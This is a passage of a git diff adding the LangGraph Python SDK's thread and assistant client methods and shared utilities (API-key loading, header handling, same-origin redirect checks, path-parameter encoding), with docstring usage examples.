---------------------------------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'values': { + 'messages': [ + { + 'content': 'how are you?', + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'human', + 'name': None, + 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', + 'example': False + }, + { + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'ai', + 'name': None, + 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', + 'example': False, + 'tool_calls': [], + 'invalid_tool_calls': [], + 'usage_metadata': None + } + ] + }, + 'next': [], + 'checkpoint': + { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-e6fb-67b1-8001-abd5184439d1' + } + 'metadata': + { + 'step': 1, + 'run_id': '1ef4a9b8-d7da-679a-a45a-872054341df2', + 'source': 'loop', + 'writes': + { + 'agent': + { + 'messages': [ + { + 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', + 'name': None, + 'type': 'ai', + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'example': False, + 'tool_calls': [], + 'usage_metadata': None, + 'additional_kwargs': {}, + 'response_metadata': {}, + 'invalid_tool_calls': [] + } + ] + } + }, + 'user_id': None, + 'graph_id': 'agent', + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'created_by': 'system', + 'assistant_id': 'fe096781-5601-53d2-b2f6-0d3403f7e9ca'}, + 'created_at': '2024-07-25T15:35:44.184703+00:00', + 'parent_config': + { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-d80d-6fa7-8000-9300467fad0f' + } + } + ``` + """ + if checkpoint: + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/state/checkpoint", + json={"checkpoint": checkpoint, "subgraphs": subgraphs}, + headers=headers, + params=params, + ) + elif checkpoint_id: + get_params = {"subgraphs": subgraphs} + if params: + get_params = {**get_params, **dict(params)} + return await self.http.get( + f"/threads/{_quote_path_param(thread_id)}/state/{_quote_path_param(checkpoint_id)}", + params=get_params, + headers=headers, + ) + else: + get_params = {"subgraphs": subgraphs} + if params: + get_params = {**get_params, **dict(params)} + return await self.http.get( + f"/threads/{_quote_path_param(thread_id)}/state", + params=get_params, + headers=headers, + ) + + async def update_state( + self, + thread_id: str, + values: dict[str, Any] | Sequence[dict] | None, + *, + as_node: str | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, # deprecated + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ThreadUpdateStateResponse: + """Update the state of a thread. + + Args: + thread_id: The ID of the thread to update. + values: The values to update the state with. + as_node: Update the state as if this node had just executed. + checkpoint: The checkpoint to update the state of. + checkpoint_id: (deprecated) The checkpoint ID to update the state of. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Response after updating a thread's state. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024) + response = await client.threads.update_state( + thread_id="my_thread_id", + values={"messages":[{"role": "user", "content": "hello!"}]}, + as_node="my_node", + ) + print(response) + ``` + ```shell + + ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'checkpoint': { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-e6fb-67b1-8001-abd5184439d1', + 'checkpoint_map': {} + } + } + ``` + """ + payload: dict[str, Any] = { + "values": values, + } + if checkpoint_id: + payload["checkpoint_id"] = checkpoint_id + if checkpoint: + payload["checkpoint"] = checkpoint + if as_node: + payload["as_node"] = as_node + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/state", + json=payload, + headers=headers, + params=params, + ) + + async def get_history( + self, + thread_id: str, + *, + limit: int = 10, + before: str | Checkpoint | None = None, + metadata: Mapping[str, Any] | None = None, + checkpoint: Checkpoint | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[ThreadState]: + """Get the state history of a thread. + + Args: + thread_id: The ID of the thread to get the state history for. + checkpoint: Return states for this subgraph. If empty defaults to root. + limit: The maximum number of states to return. + before: Return states before this checkpoint. + metadata: Filter states by metadata key-value pairs. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The state history of the thread. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024) + thread_state = await client.threads.get_history( + thread_id="my_thread_id", + limit=5, + ) + ``` + + """ + payload: dict[str, Any] = { + "limit": limit, + } + if before: + payload["before"] = before + if metadata: + payload["metadata"] = metadata + if checkpoint: + payload["checkpoint"] = checkpoint + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/history", + json=payload, + headers=headers, + params=params, + ) + + def stream( + self, + thread_id: str | None = None, + *, + assistant_id: str, + headers: Mapping[str, str] | None = None, + run_start_timeout: float | None = None, + transport: Literal["sse", "websocket"] = "sse", + ) -> AsyncThreadStream: + """Open a v3 thread-centric streaming session. + + When `thread_id` is None, a fresh UUIDv4 is minted client-side and + included in the URL of subsequent `POST /threads/{thread_id}/...` + calls. The server creates the thread row lazily on the first + `run.start` (internal server detail — the SDK does not send any + `if_not_exists` flag). The v3 protocol response carries only + `run_id`, never `thread_id` — that's why the SDK mints the id + client-side. + + Args: + thread_id: optional explicit thread identifier. Defaults to a + fresh UUIDv4. + assistant_id: assistant the run will use. Required. + headers: optional headers forwarded on every command and event + request for this stream session. + run_start_timeout: optional seconds to wait for an in-flight + `run.start` before subscribing operations raise + `asyncio.TimeoutError`. Defaults to `None` (wait forever). + transport: event transport to use — `"sse"` (default) or + `"websocket"`. + + Returns: + An `AsyncThreadStream` to use as an async context manager. + """ + if transport not in ("sse", "websocket"): + raise ValueError("transport must be 'sse' or 'websocket'.") + return AsyncThreadStream( + http=self.http, + thread_id=thread_id if thread_id is not None else str(uuid.uuid4()), + assistant_id=assistant_id, + headers=headers, + run_start_timeout=run_start_timeout, + explicit_thread_id=thread_id is not None, + transport_kind=transport, + ) + + async def join_stream( + self, + thread_id: str, + *, + last_event_id: str | None = None, + stream_mode: ThreadStreamMode | Sequence[ThreadStreamMode] = "run_modes", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> AsyncIterator[StreamPart]: + """Get a stream of events for a thread. + + Args: + thread_id: The ID of the thread to get the stream for. + last_event_id: The ID of the last event to get. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + An iterator of stream parts. + + ???+ example "Example Usage" + + ```python + + for chunk in client.threads.join_stream( + thread_id="my_thread_id", + last_event_id="my_event_id", + ): + print(chunk) + ``` + + """ + query_params = { + "stream_mode": stream_mode, + } + if params: + query_params.update(params) + return self.http.stream( + f"/threads/{_quote_path_param(thread_id)}/stream", + "GET", + headers={ + **({"Last-Event-ID": last_event_id} if last_event_id else {}), + **(headers or {}), + }, + params=query_params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_shared/__init__.py b/libs/sdk-py/langgraph_sdk/_shared/__init__.py new file mode 100644 index 0000000..5783ce0 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_shared/__init__.py @@ -0,0 +1 @@ +"""Shared utilities for async and sync clients.""" diff --git a/libs/sdk-py/langgraph_sdk/_shared/types.py b/libs/sdk-py/langgraph_sdk/_shared/types.py new file mode 100644 index 0000000..073b138 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_shared/types.py @@ -0,0 +1,10 @@ +"""Type aliases and constants.""" + +from __future__ import annotations + +TimeoutTypes = ( + None + | float + | tuple[float | None, float | None] + | tuple[float | None, float | None, float | None, float | None] +) diff --git a/libs/sdk-py/langgraph_sdk/_shared/utilities.py b/libs/sdk-py/langgraph_sdk/_shared/utilities.py new file mode 100644 index 0000000..da2db64 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_shared/utilities.py @@ -0,0 +1,251 @@ +"""Shared utility functions for async and sync clients.""" + +from __future__ import annotations + +import functools +import os +import re +from collections.abc import Mapping +from datetime import tzinfo +from typing import TYPE_CHECKING, Any, cast +from urllib.parse import quote, urlparse + +import httpx + +import langgraph_sdk +from langgraph_sdk.schema import RunCreateMetadata + +if TYPE_CHECKING: + from zoneinfo import ZoneInfo + +RESERVED_HEADERS = ("x-api-key",) + +NOT_PROVIDED = cast(None, object()) + + +def _get_api_key(api_key: str | None = NOT_PROVIDED) -> str | None: + """Get the API key from the environment. + Precedence: + 1. explicit string argument + 2. LANGGRAPH_API_KEY (if api_key not provided) + 3. LANGSMITH_API_KEY (if api_key not provided) + 4. LANGCHAIN_API_KEY (if api_key not provided) + + Args: + api_key: The API key to use. Can be: + - A string: use this exact API key + - None: explicitly skip loading from environment + - NOT_PROVIDED (default): auto-load from environment variables + """ + if isinstance(api_key, str): + return api_key + if api_key is NOT_PROVIDED: + # api_key is not explicitly provided, try to load from environment + for prefix in ["LANGGRAPH", "LANGSMITH", "LANGCHAIN"]: + if env := os.getenv(f"{prefix}_API_KEY"): + return env.strip().strip('"').strip("'") + # api_key is explicitly None, don't load from environment + return None + + +def _get_headers( + api_key: str | None, + custom_headers: Mapping[str, str] | None, +) -> dict[str, str]: + """Combine api_key and custom user-provided headers.""" + custom_headers = custom_headers or {} + for header in RESERVED_HEADERS: + if header in custom_headers: + raise ValueError(f"Cannot set reserved header '{header}'") + + headers = { + "User-Agent": f"langgraph-sdk-py/{langgraph_sdk.__version__}", + **custom_headers, + } + resolved_api_key = _get_api_key(api_key) + if resolved_api_key: + headers["x-api-key"] = resolved_api_key + + return headers + + +def _orjson_default(obj: Any) -> Any: + is_class = isinstance(obj, type) + if hasattr(obj, "model_dump") and callable(obj.model_dump): + if is_class: + raise TypeError( + f"Cannot JSON-serialize type object: {obj!r}. Did you mean to pass an instance of the object instead?" + f"\nReceived type: {obj!r}" + ) + return obj.model_dump() + elif hasattr(obj, "dict") and callable(obj.dict): + if is_class: + raise TypeError( + f"Cannot JSON-serialize type object: {obj!r}. Did you mean to pass an instance of the object instead?" + f"\nReceived type: {obj!r}" + ) + return obj.dict() + elif isinstance(obj, (set, frozenset)): + return list(obj) + else: + raise TypeError(f"Object of type {type(obj)} is not JSON serializable") + + +# Compiled regex pattern for extracting run metadata from Content-Location header +_RUN_METADATA_PATTERN = re.compile( + r"(\/threads\/(?P.+))?\/runs\/(?P.+)" +) + + +def _get_run_metadata_from_response( + response: httpx.Response, +) -> RunCreateMetadata | None: + """Extract run metadata from the response headers.""" + if (content_location := response.headers.get("Content-Location")) and ( + match := _RUN_METADATA_PATTERN.search(content_location) + ): + return RunCreateMetadata( + run_id=match.group("run_id"), + thread_id=match.group("thread_id") or None, + ) + + return None + + +def _sse_to_v2_dict(event: str, data: Any) -> dict[str, Any] | None: + """Convert an SSE event+data pair into a v2 stream part dict. + + Returns None for ``end`` events (signals end of stream). + """ + if event == "end": + return None + parts = event.split("|") + event_type = parts[0] + ns = parts[1:] if len(parts) > 1 else [] + result: dict[str, Any] = {"type": event_type, "ns": ns, "data": data} + if event_type == "values" and isinstance(data, dict): + result["interrupts"] = data.pop("__interrupt__", []) + else: + result["interrupts"] = [] + return result + + +def _resolve_timezone(tz: str | tzinfo | ZoneInfo | None) -> str | None: + """Convert a timezone argument to an IANA timezone string. + + Accepts: + - A string (returned as-is, assumed to be an IANA timezone name) + - A ``datetime.tzinfo`` instance (e.g. ``zoneinfo.ZoneInfo("America/New_York")``, + ``datetime.timezone.utc``). The ``key`` attribute is used if available, + otherwise ``tzname(None)`` is used. + - ``None`` (returned as ``None``) + """ + if tz is None or isinstance(tz, str): + return tz + if isinstance(tz, tzinfo): + # ZoneInfo objects have a .key attribute with the IANA name + key = getattr(tz, "key", None) + if isinstance(key, str): + return key + # Fall back to tzname for fixed-offset timezones like datetime.timezone.utc + name = tz.tzname(None) + if name is not None: + return name + raise ValueError( + f"Cannot determine timezone name from {tz!r}. " + "Use a zoneinfo.ZoneInfo instance or pass a string like 'America/New_York'." + ) + raise TypeError( + f"Expected str, datetime.tzinfo, or None for timezone, got {type(tz).__name__}" + ) + + +def _default_port(scheme: str) -> int: + return 443 if scheme == "https" else 80 + + +def _validate_reconnect_location(base_url: httpx.URL, location: str) -> str: + """Validate that a reconnect Location URL is same-origin as the base URL. + + Raises ValueError if the Location header points to a different origin + (scheme + host + port), which would leak credentials to an external server. + """ + parsed = urlparse(location) + # Relative URLs are safe — they resolve against the base + if not parsed.scheme and not parsed.netloc: + return location + # Compare origin components (normalize default ports to avoid mismatches) + base_scheme = str(base_url.scheme) + base_origin = ( + base_scheme, + str(base_url.host), + base_url.port or _default_port(base_scheme), + ) + loc_origin = ( + parsed.scheme, + parsed.hostname or "", + parsed.port or _default_port(parsed.scheme), + ) + if base_origin != loc_origin: + raise ValueError( + f"Refusing to follow cross-origin reconnect Location: {location!r} " + f"(origin {loc_origin}) does not match base URL origin {base_origin}" + ) + return location + + +def _provided_vals(d: Mapping[str, Any]) -> dict[str, Any]: + return {k: v for k, v in d.items() if v is not None} + + +def _quote_path_param(value: Any) -> str: + """Encode a value for safe interpolation into a request path segment. + + Path segments are encoded with ``safe=""`` so that ``/`` and other reserved + characters are escaped. Standalone dot-segments (``.`` and ``..``) are also + encoded because some URL-handling stacks (including ``httpx``) collapse + them client-side as relative-path traversal before transmission. The value + is coerced to ``str`` so callers can pass ``uuid.UUID`` and similar types + directly without changing call sites. + + A properly formed identifier (for example, a standard UUID, which contains + no dots or reserved characters) round-trips through this function + unchanged. + + Raises: + TypeError: If `value` is `None` or a `bytes`/`bytearray` instance. + Coercing those would produce misleading paths (e.g. `/threads/None`), + so surface the caller bug instead. + """ + if value is None: + raise TypeError("path parameter must not be None") + if isinstance(value, (bytes, bytearray)): + raise TypeError("path parameter must not be bytes; pass a str or uuid.UUID") + quoted = quote(str(value), safe="") + # Bare "." or ".." (or any all-dot string) acts as a relative-path segment + # that some HTTP stacks (including ``httpx``) collapse client-side before + # transmission. Encode the dots so the segment becomes opaque to that + # logic. Mixed values like "agent.v1" are unaffected. + if quoted and all(c == "." for c in quoted): + quoted = "%2E" * len(quoted) + return quoted + + +_registered_transports: list[httpx.ASGITransport] = [] + + +# Do not move; this is used in the server. +def configure_loopback_transports(app: Any) -> None: + for transport in _registered_transports: + transport.app = app + + +@functools.lru_cache(maxsize=1) +def get_asgi_transport() -> type[httpx.ASGITransport]: + try: + from langgraph_api import asgi_transport # ty: ignore[unresolved-import] + + return asgi_transport.ASGITransport + except ImportError: + # Older versions of the server + return httpx.ASGITransport diff --git a/libs/sdk-py/langgraph_sdk/_sync/__init__.py b/libs/sdk-py/langgraph_sdk/_sync/__init__.py new file mode 100644 index 0000000..1ab36bf --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/__init__.py @@ -0,0 +1,20 @@ +"""Sync client exports.""" + +from langgraph_sdk._sync.assistants import SyncAssistantsClient +from langgraph_sdk._sync.client import SyncLangGraphClient, get_sync_client +from langgraph_sdk._sync.cron import SyncCronClient +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.runs import SyncRunsClient +from langgraph_sdk._sync.store import SyncStoreClient +from langgraph_sdk._sync.threads import SyncThreadsClient + +__all__ = [ + "SyncAssistantsClient", + "SyncCronClient", + "SyncHttpClient", + "SyncLangGraphClient", + "SyncRunsClient", + "SyncStoreClient", + "SyncThreadsClient", + "get_sync_client", +] diff --git a/libs/sdk-py/langgraph_sdk/_sync/assistants.py b/libs/sdk-py/langgraph_sdk/_sync/assistants.py new file mode 100644 index 0000000..af3a639 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/assistants.py @@ -0,0 +1,738 @@ +"""Synchronous client for managing assistants in LangGraph.""" + +from __future__ import annotations + +from collections.abc import Mapping +from typing import Any, Literal, cast, overload + +import httpx + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk.schema import ( + Assistant, + AssistantSelectField, + AssistantSortBy, + AssistantsSearchResponse, + AssistantVersion, + Config, + Context, + GraphSchema, + Json, + OnConflictBehavior, + QueryParamTypes, + SortOrder, + Subgraphs, +) + + +class SyncAssistantsClient: + """Client for managing assistants in LangGraph synchronously. + + This class provides methods to interact with assistants, which are versioned configurations of your graph. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:2024") + assistant = client.assistants.get("assistant_id_123") + ``` + """ + + def __init__(self, http: SyncHttpClient) -> None: + self.http = http + + def get( + self, + assistant_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Get an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get OR the name of the graph (to use the default assistant). + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `Assistant` Object. + + ???+ example "Example Usage" + + ```python + assistant = client.assistants.get( + assistant_id="my_assistant_id" + ) + print(assistant) + ``` + + ```shell + ---------------------------------------------------- + + { + 'assistant_id': 'my_assistant_id', + 'graph_id': 'agent', + 'created_at': '2024-06-25T17:10:33.109781+00:00', + 'updated_at': '2024-06-25T17:10:33.109781+00:00', + 'config': {}, + 'context': {}, + 'metadata': {'created_by': 'system'} + } + ``` + + """ + return self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}", + headers=headers, + params=params, + ) + + def get_graph( + self, + assistant_id: str, + *, + xray: int | bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, list[dict[str, Any]]]: + """Get the graph of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the graph of. + xray: Include graph representation of subgraphs. If an integer value is provided, only subgraphs with a depth less than or equal to the value will be included. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The graph information for the assistant in JSON format. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + graph_info = client.assistants.get_graph( + assistant_id="my_assistant_id" + ) + print(graph_info) + + -------------------------------------------------------------------------------------------------------------------------- + + { + 'nodes': + [ + {'id': '__start__', 'type': 'schema', 'data': '__start__'}, + {'id': '__end__', 'type': 'schema', 'data': '__end__'}, + {'id': 'agent','type': 'runnable','data': {'id': ['langgraph', 'utils', 'RunnableCallable'],'name': 'agent'}}, + ], + 'edges': + [ + {'source': '__start__', 'target': 'agent'}, + {'source': 'agent','target': '__end__'} + ] + } + ``` + + """ + query_params = {"xray": xray} + if params: + query_params.update(params) + return self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/graph", + params=query_params, + headers=headers, + ) + + def get_schemas( + self, + assistant_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> GraphSchema: + """Get the schemas of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the schema of. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + GraphSchema: The graph schema for the assistant. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + schema = client.assistants.get_schemas( + assistant_id="my_assistant_id" + ) + print(schema) + ``` + ```shell + ---------------------------------------------------------------------------------------------------------------------------- + + { + 'graph_id': 'agent', + 'state_schema': + { + 'title': 'LangGraphInput', + '$ref': '#/definitions/AgentState', + 'definitions': + { + 'BaseMessage': + { + 'title': 'BaseMessage', + 'description': 'Base abstract Message class. Messages are the inputs and outputs of ChatModels.', + 'type': 'object', + 'properties': + { + 'content': + { + 'title': 'Content', + 'anyOf': [ + {'type': 'string'}, + {'type': 'array','items': {'anyOf': [{'type': 'string'}, {'type': 'object'}]}} + ] + }, + 'additional_kwargs': + { + 'title': 'Additional Kwargs', + 'type': 'object' + }, + 'response_metadata': + { + 'title': 'Response Metadata', + 'type': 'object' + }, + 'type': + { + 'title': 'Type', + 'type': 'string' + }, + 'name': + { + 'title': 'Name', + 'type': 'string' + }, + 'id': + { + 'title': 'Id', + 'type': 'string' + } + }, + 'required': ['content', 'type'] + }, + 'AgentState': + { + 'title': 'AgentState', + 'type': 'object', + 'properties': + { + 'messages': + { + 'title': 'Messages', + 'type': 'array', + 'items': {'$ref': '#/definitions/BaseMessage'} + } + }, + 'required': ['messages'] + } + } + }, + 'config_schema': + { + 'title': 'Configurable', + 'type': 'object', + 'properties': + { + 'model_name': + { + 'title': 'Model Name', + 'enum': ['anthropic', 'openai'], + 'type': 'string' + } + } + }, + 'context_schema': + { + 'title': 'Context', + 'type': 'object', + 'properties': + { + 'model_name': + { + 'title': 'Model Name', + 'enum': ['anthropic', 'openai'], + 'type': 'string' + } + } + } + } + ``` + + """ + return self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/schemas", + headers=headers, + params=params, + ) + + def get_subgraphs( + self, + assistant_id: str, + namespace: str | None = None, + recurse: bool = False, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Subgraphs: + """Get the schemas of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the schema of. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Subgraphs: The graph schema for the assistant. + + """ + get_params = {"recurse": recurse} + if params: + get_params = {**get_params, **dict(params)} + if namespace is not None: + return self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/subgraphs/{_quote_path_param(namespace)}", + params=get_params, + headers=headers, + ) + else: + return self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/subgraphs", + params=get_params, + headers=headers, + ) + + def create( + self, + graph_id: str | None, + config: Config | None = None, + *, + context: Context | None = None, + metadata: Json = None, + assistant_id: str | None = None, + if_exists: OnConflictBehavior | None = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + description: str | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Create a new assistant. + + Useful when graph is configurable and you want to create different assistants based on different configurations. + + Args: + graph_id: The ID of the graph the assistant should use. The graph ID is normally set in your langgraph.json configuration. + config: Configuration to use for the graph. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + metadata: Metadata to add to assistant. + assistant_id: Assistant ID to use, will default to a random UUID if not provided. + if_exists: How to handle duplicate creation. Defaults to 'raise' under the hood. + Must be either 'raise' (raise error if duplicate), or 'do_nothing' (return existing assistant). + name: The name of the assistant. Defaults to 'Untitled' under the hood. + headers: Optional custom headers to include with the request. + description: Optional description of the assistant. + The description field is available for langgraph-api server version>=0.0.45 + params: Optional query parameters to include with the request. + + Returns: + The created assistant. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + assistant = client.assistants.create( + graph_id="agent", + context={"model_name": "openai"}, + metadata={"number":1}, + assistant_id="my-assistant-id", + if_exists="do_nothing", + name="my_name" + ) + ``` + """ + payload: dict[str, Any] = { + "graph_id": graph_id, + } + if config: + payload["config"] = config + if context: + payload["context"] = context + if metadata: + payload["metadata"] = metadata + if assistant_id: + payload["assistant_id"] = assistant_id + if if_exists: + payload["if_exists"] = if_exists + if name: + payload["name"] = name + if description: + payload["description"] = description + return self.http.post( + "/assistants", json=payload, headers=headers, params=params + ) + + def update( + self, + assistant_id: str, + *, + graph_id: str | None = None, + config: Config | None = None, + context: Context | None = None, + metadata: Json = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + description: str | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Update an assistant. + + Use this to point to a different graph, update the configuration, or change the metadata of an assistant. + + Args: + assistant_id: Assistant to update. + graph_id: The ID of the graph the assistant should use. + The graph ID is normally set in your langgraph.json configuration. If `None`, assistant will keep pointing to same graph. + config: Configuration to use for the graph. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + metadata: Metadata to merge with existing assistant metadata. + name: The new name for the assistant. + headers: Optional custom headers to include with the request. + description: Optional description of the assistant. + The description field is available for langgraph-api server version>=0.0.45 + + Returns: + The updated assistant. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + assistant = client.assistants.update( + assistant_id='e280dad7-8618-443f-87f1-8e41841c180f', + graph_id="other-graph", + context={"model_name": "anthropic"}, + metadata={"number":2} + ) + ``` + """ + payload: dict[str, Any] = {} + if graph_id: + payload["graph_id"] = graph_id + if config is not None: + payload["config"] = config + if context is not None: + payload["context"] = context + if metadata: + payload["metadata"] = metadata + if name: + payload["name"] = name + if description: + payload["description"] = description + return self.http.patch( + f"/assistants/{_quote_path_param(assistant_id)}", + json=payload, + headers=headers, + params=params, + ) + + def delete( + self, + assistant_id: str, + *, + delete_threads: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete an assistant. + + Args: + assistant_id: The assistant ID to delete. + delete_threads: If true, delete all threads with `metadata.assistant_id` + matching this assistant, along with runs and checkpoints belonging to + those threads. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.assistants.delete( + assistant_id="my_assistant_id" + ) + ``` + + """ + query_params: dict[str, Any] = {} + if delete_threads: + query_params["delete_threads"] = True + if params: + query_params.update(params) + self.http.delete( + f"/assistants/{_quote_path_param(assistant_id)}", + headers=headers, + params=query_params or None, + ) + + @overload + def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["object"], + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> AssistantsSearchResponse: ... + + @overload + def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["array"] = "array", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Assistant]: ... + + def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["array", "object"] = "array", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> AssistantsSearchResponse | list[Assistant]: + """Search for assistants. + + Args: + metadata: Metadata to filter by. Exact match filter for each KV pair. + graph_id: The ID of the graph to filter by. + The graph ID is normally set in your langgraph.json configuration. + name: The name of the assistant to filter by. + The filtering logic will match assistants where 'name' is a substring (case insensitive) of the assistant name. + limit: The maximum number of results to return. + offset: The number of results to skip. + sort_by: The field to sort by. + sort_order: The order to sort by. + select: Specific assistant fields to include in the response. + response_format: Controls the response shape. Use `"array"` (default) + to return a bare list of assistants, or `"object"` to return + a mapping containing assistants plus pagination metadata. + Defaults to "array", though this default will be changed to "object" in a future release. + headers: Optional custom headers to include with the request. + + Returns: + A list of assistants (when `response_format="array"`) or a mapping + with the assistants and the next pagination cursor (when + `response_format="object"`). + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + response = client.assistants.search( + metadata = {"name":"my_name"}, + graph_id="my_graph_id", + limit=5, + offset=5, + response_format="object", + ) + assistants = response["assistants"] + next_cursor = response["next"] + ``` + """ + if response_format not in ("array", "object"): + raise ValueError("response_format must be 'array' or 'object'") + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if graph_id: + payload["graph_id"] = graph_id + if name: + payload["name"] = name + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + next_cursor: str | None = None + + def capture_pagination(response: httpx.Response) -> None: + nonlocal next_cursor + next_cursor = response.headers.get("X-Pagination-Next") + + assistants = cast( + list[Assistant], + self.http.post( + "/assistants/search", + json=payload, + headers=headers, + params=params, + on_response=capture_pagination if response_format == "object" else None, + ), + ) + if response_format == "object": + return {"assistants": assistants, "next": next_cursor} + return assistants + + def count( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count assistants matching filters. + + Args: + metadata: Metadata to filter by. Exact match for each key/value. + graph_id: Optional graph id to filter by. + name: Optional name to filter by. + The filtering logic will match assistants where 'name' is a substring (case insensitive) of the assistant name. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of assistants matching the criteria. + """ + payload: dict[str, Any] = {} + if metadata: + payload["metadata"] = metadata + if graph_id: + payload["graph_id"] = graph_id + if name: + payload["name"] = name + return self.http.post( + "/assistants/count", json=payload, headers=headers, params=params + ) + + def get_versions( + self, + assistant_id: str, + metadata: Json = None, + limit: int = 10, + offset: int = 0, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[AssistantVersion]: + """List all versions of an assistant. + + Args: + assistant_id: The assistant ID to get versions for. + metadata: Metadata to filter versions by. Exact match filter for each KV pair. + limit: The maximum number of versions to return. + offset: The number of versions to skip. + headers: Optional custom headers to include with the request. + + Returns: + A list of assistants. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + assistant_versions = client.assistants.get_versions( + assistant_id="my_assistant_id" + ) + ``` + + """ + + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + return self.http.post( + f"/assistants/{_quote_path_param(assistant_id)}/versions", + json=payload, + headers=headers, + params=params, + ) + + def set_latest( + self, + assistant_id: str, + version: int, + *, + headers: Mapping[str, str] | None = 